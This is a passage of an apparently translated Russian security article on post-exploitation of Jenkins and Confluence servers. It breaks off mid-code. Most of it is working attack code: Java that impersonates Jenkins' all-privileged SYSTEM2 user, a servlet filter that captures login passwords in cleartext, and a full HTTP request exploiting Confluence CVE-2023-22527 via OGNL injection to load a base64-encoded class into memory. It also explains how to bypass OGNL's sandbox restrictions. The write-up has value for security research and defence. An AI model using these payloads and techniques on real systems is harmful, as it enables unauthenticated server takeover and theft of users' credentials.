\u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0427\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043d\u0430 Jenkins \u0438\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 Groovy, \u044d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0438\u043c\u043f\u0435\u0440\u0441\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<p>\u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435, Jenkins \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u0438\u043c\u0435\u043d\u0435\u043c <a href=\"https:\/\/javadoc.jenkins-ci.org\/hudson\/security\/ACL.html#SYSTEM2\" rel=\"noopener noreferrer nofollow\">SYSTEM2<\/a>, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b <a href=\"https:\/\/github.com\/jenkinsci\/jenkins\/blob\/f3f6c8a9368ec16eddea971bb94bcce594a6fc46\/core\/src\/main\/java\/hudson\/security\/ACL.java#L133\" rel=\"noopener noreferrer nofollow\">\u0432\u0441\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438<\/a>. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 Jenkins \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c <a href=\"https:\/\/docs.spring.io\/spring-security\/site\/docs\/4.0.x\/apidocs\/org\/springframework\/security\/core\/Authentication.html\" rel=\"noopener noreferrer nofollow\">Authentication <\/a>Spring.<\/p>\n<p>\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 SecurityContext Spring, \u0433\u0434\u0435 \u0435\u0433\u043e \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0437 SecurityContextHolder.<\/p>\n<p>\u0417\u0430\u043c\u0435\u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 Authentication \u043d\u0430 null \u0438\u043b\u0438 ANONYMOUS \u0432 SecurityContext \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u044f \u0438\u043c\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f SYSTEM2<\/p>\n<pre><code class=\"java\">String script = (String) args.get(\"script\");  ClassLoader ctxLoader = Thread.currentThread()   .getContextClassLoader();  Object SYSTEM2 = ctxLoader.loadClass(\"hudson.security.ACL\")   .getField(\"SYSTEM2\").get(null);  Object securityCtx = ctxLoader   .loadClass(\"org.springframework.security.core.context.SecurityContextHolder\")   .getMethod(\"getContext\").invoke(null); Class authClass = ctxLoader.loadClass(\"org.springframework.security.core.Authentication\"); Object oldAuth = securityCtx.getClass().getMethod(\"getAuthentication\")   .invoke(securityCtx); Method setAuth = securityCtx.getClass()   .getMethod(\"setAuthentication\", new Class[]{ authClass }); try {   \/\/ Impersonate SYSTEM2 (full privileges)   setAuth.invoke(securityCtx, SYSTEM2);    Class scriptingKlass = ctxLoader.loadClass(\"hudson.util.RemotingDiagnostics$Script\");   Constructor scriptingConstructor = scriptingKlass     .getDeclaredConstructors()[0];   scriptingConstructor.setAccessible(true);   Object scripting = scriptingConstructor.newInstance(script);   Method call = scriptingKlass.getDeclaredMethod(\"call\");   call.setAccessible(true);   String res = (String) call.invoke(scripting);   result.put(\"res\", res); } finally {   \/\/revert auth context   setAuth.invoke(securityCtx, oldAuth); }<\/code><\/pre>\n<p><strong>\u041f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/strong><\/p>\n<p>\u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u043a\u0430\u043a \u0438 \u0432 Bitbucket, Jenkins \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 <code>\/j_spring_security_check<\/code> \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0438 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c LDAP-\u043a\u0430\u0442\u0430\u043b\u043e\u0433. \u0418\u0437 \u043d\u0430\u0448\u0435\u0433\u043e \u0444\u0438\u043b\u044c\u0442\u0440\u0430 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043b\u0435\u0433\u043a\u043e \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435<\/p>\n<pre><code class=\"java\">public class CustomFilter implements Filter {   \/\/ [...]   @Override   public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {     try {       HttpServletRequest request = (HttpServletRequest) servletRequest;       HttpServletResponse response = (HttpServletResponse) servletResponse;        if (\/* [...] *\/) {         \/\/ [...]       } else if (request.getRequestURI().equals(\"\/j_spring_security_check\")              &amp;&amp; request.getMethod().equalsIgnoreCase(\"POST\")              &amp;&amp; request.getParameter(\"j_username\") != null              &amp;&amp; request.getParameter(\"j_password\") != null) {         logCredentials(request.getParameter(\"j_username\"), request.getParameter(\"j_password\"));       }     } catch (Exception ignored) {     }     if (filterChain != null) {       filterChain.doFilter(servletRequest, servletResponse);     }   }   \/\/ [...] }<\/code><\/pre>\n<h2>\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 template injection<\/h2>\n<p>\u0412 \u044f\u043d\u0432\u0430\u0440\u0435 2024 \u0433\u043e\u0434\u0430 \u0431\u044b\u043b\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SSTI, \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0430\u044f, \u043a\u0430\u043a CVE-2023-22527, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Confluence Data Center. \u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0448\u0430\u0431\u043b\u043e\u043d\u0443 text-inline.vm \u043d\u0430 \u0431\u0430\u0437\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 Velocity. \u042d\u0442\u043e\u0442 \u0448\u0430\u0431\u043b\u043e\u043d \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 OGNL (Object-Graph Navigation Language) \u0438\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0435\u0442\u043e\u0434\u0430 findValue. \u041e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 \u0438 PoC \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u0432 <a href=\"https:\/\/blog.projectdiscovery.io\/atlassian-confluence-ssti-remote-code-execution\/\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u0435<\/a>.<\/p>\n<p>\u042d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0438\u0432\u043e\u0442\u0438\u043d\u0433\u0430. \u041e\u0434\u043d\u0430\u043a\u043e, \u043a\u0430\u043a \u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 Bitbucket, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0435\u0441\u043b\u0438 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442\u0441\u044f, \u0438 \u0435\u0441\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.<\/p>\n<p>\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u0435\u0433\u043e \u0441\u0440\u0435\u0434\u043e\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 Java-\u043a\u043e\u0434. Confluence \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438:<\/p>\n<ul>\n<li>\n<p>Struts2<\/p>\n<\/li>\n<li>\n<p>Tomcat embedded<\/p>\n<\/li>\n<li>\n<p>Spring<\/p>\n<\/li>\n<\/ul>\n<p>\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0443\u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0432 \u044d\u0442\u043e\u043c \u0431\u043b\u043e\u0433\u0435 \u0438 \u0432 PoC. \u041e\u0434\u043d\u0430\u043a\u043e \u0430\u0432\u0442\u043e\u0440 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0434\u0440\u0443\u0433\u043e\u0439 \u043c\u0435\u0442\u043e\u0434.<\/p>\n<p><strong>\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c<\/strong><\/p>\n<p>\u0412 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043c\u0430\u0445\u0438\u043d\u0430\u0446\u0438\u0438 \u0441 OGNL \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043b\u0438\u043d\u044b:<\/p>\n<pre><code>POST \/template\/aui\/text-inline.vm HTTP\/1.1 Host: 127.0.0.1:8090 Content-Type: application\/x-www-form-urlencoded Content-Length: 1341 Connection: close  name=Main33&amp;label=&lt;@urlencode&gt;text\\u0027+(#p=#parameters[0]),(#o=#request[#p[0]].internalGet(#p[1])),(#i=0),(#v=#{}),(#parameters[1].{#v[#i-1]=#o.findValue(#parameters[1][(#i=#i+1)-1],#{0:#parameters,1:#v})})+\\u0027&lt;@\/urlencode&gt;&amp;0=.KEY_velocity.struts2.context&amp;0=ognl&amp;1=@Thread@currentThread().getContextClassLoader()&amp;1=@java.util.Base64@getDecoder().decode(#root[0][\"clazz\"][0])&amp;1=new+net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})&amp;1=@org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],\"loadClass\",\"\")&amp;1=#root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()&amp;clazz=&lt;@urlencode&gt;yv66vgAAAD0AIQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BAAtDb25zdHJ1Y3RvcgoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVggAFgEADFN0YXRpYyBibG9jawcAGAEABk1haW4zMwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAITE1haW4zMzsBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAtNYWluMzMuamF2YQAhABcAAgAAAAAAAgABAAUABgABABkAAAA\/AAIAAQAAAA0qtwABsgAHEg22AA+xAAAAAgAaAAAADgADAAAAAgAEAAMADAAEABsAAAAMAAEAAAANABwAHQAAAAgAHgAGAAEAGQAAACUAAgAAAAAACbIABxIVtgAPsQAAAAEAGgAAAAoAAgAAAAcACAAIAAEAHwAAAAIAIA==&lt;@\/urlencode&gt;<\/code><\/pre>\n<p>\u042d\u0442\u0430 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0434\u0435\u043b\u0438\u0442\u0441\u044f \u043d\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u0447\u0430\u0441\u0442\u0438:<\/p>\n<ul>\n<li>\n<p>\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 label, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 OGNL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0438 \u043e\u0431\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 Struts2  <\/p>\n<\/li>\n<li>\n<p>POST-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 array 0, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u043a\u0440\u0430\u0449\u0430\u0435\u0442 \u0434\u043b\u0438\u043d\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 label   <\/p>\n<\/li>\n<li>\n<p>POST-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 array 1, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f<\/p>\n<\/li>\n<li>\n<p>\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 POST-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0432 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0448\u0430\u0433\u0430 3 (\u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a clazz \u0438 name).   <\/p>\n<\/li>\n<\/ul>\n<p>\u0412 \u0431\u043e\u043b\u0435\u0435 \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u043c \u0432\u0438\u0434\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 label \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e OGNL-\u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443:<\/p>\n<pre><code class=\"java\">\/\/ #parameters[0] = {\".KEY_velocity.struts2.context\", \"ognl\"} \/\/ #parameters[1] = {\"3*6\", \"@System@out.println(#root[1][0])\"}  #p = #parameters[0] #o = #request[#p[0]].internalGet(#p[1]) #i = 0 #v = #{} #parameters[1].{    #v[#i-1] = #o.findValue(     #parameters[1][(#i = #i + 1) - 1],     #{0:#parameters, 1:#v}   ) }<\/code><\/pre>\n<p>\u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0443 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043a\u043e\u043b\u043b\u0435\u043a\u0446\u0438\u0439 \u0441 \u0434\u0435\u043b\u0435\u0433\u0430\u0442\u043e\u043c (\u0441\u043c. <a href=\"https:\/\/commons.apache.org\/dormant\/commons-ognl\/language-guide.html#Projecting_Across_Collections\" rel=\"noopener noreferrer nofollow\">\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e <\/a>\u0438 \u044d\u0442\u0443 <a href=\"https:\/\/www.pingidentity.com\/en\/resources\/blog\/post\/looping-in-ognl.html\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u044e<\/a>), \u0447\u0442\u043e\u0431\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 (\u0438\u043b\u0438 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438) \u0438\u0437 POST-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 array1. \u041f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 label \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u043c\u0430\u0441\u0441\u0438\u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 #root[1]. \u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0432 #root[0].<\/p>\n<p>\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 Struts2 \u0431\u044b\u043b \u043e\u0431\u043e\u0439\u0434\u0435\u043d, \u043a\u043b\u0430\u0441\u0441 OgnlRuntime \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043c\u0435\u0442\u043e\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u044b:<\/p>\n<pre><code class=\"java\">package ognl; \/\/ [...] public class OgnlRuntime {   \/\/ [...]   public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {     if (_useStricterInvocation) {       Class methodDeclaringClass = method.getDeclaringClass();       if (AO_SETACCESSIBLE_REF != null &amp;&amp; AO_SETACCESSIBLE_REF.equals(method)           || AO_SETACCESSIBLE_ARR_REF != null &amp;&amp; AO_SETACCESSIBLE_ARR_REF.equals(method)            || SYS_EXIT_REF != null &amp;&amp; SYS_EXIT_REF.equals(method)            || SYS_CONSOLE_REF != null &amp;&amp; SYS_CONSOLE_REF.equals(method)            || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass)            || ClassResolver.class.isAssignableFrom(methodDeclaringClass)            || MethodAccessor.class.isAssignableFrom(methodDeclaringClass)            || MemberAccess.class.isAssignableFrom(methodDeclaringClass)            || OgnlContext.class.isAssignableFrom(methodDeclaringClass)            || Runtime.class.isAssignableFrom(methodDeclaringClass)            || ClassLoader.class.isAssignableFrom(methodDeclaringClass)            || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass)            || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {         throw new IllegalAccessException(\"Method [\" + method + \"] cannot be called from within OGNL invokeMethod() \" + \"under stricter invocation mode.\");       }     }   \/\/ [...] }<\/code><\/pre>\n<p>\u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043b\u0435\u0433\u043a\u043e \u043e\u0431\u043e\u0439\u0442\u0438, \u0432\u044b\u0437\u0432\u0430\u0432 MethodInvocationUtils \u0438\u0437 Spring.<\/p>\n<p>\u041e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430, \u0445\u0440\u0430\u043d\u044f\u0449\u0430\u044f\u0441\u044f \u0432 POST-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 array1, \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442 \u043a\u043b\u0430\u0441\u0441\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e ByteArrayClassLoader, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0432 Confluence, \u0438 MethodInvocationUtils \u0438\u0437 Spring \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 loadClass \u043a\u043b\u0430\u0441\u0441\u0430 ClassLoader.<\/p>\n<pre><code class=\"java\">#root[1][0] = @Thread@currentThread().getContextClassLoader() #root[1][1] = @java.util.Base64@getDecoder().decode(#root[0][\"clazz\"][0]) #root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]}) #root[1][3] = 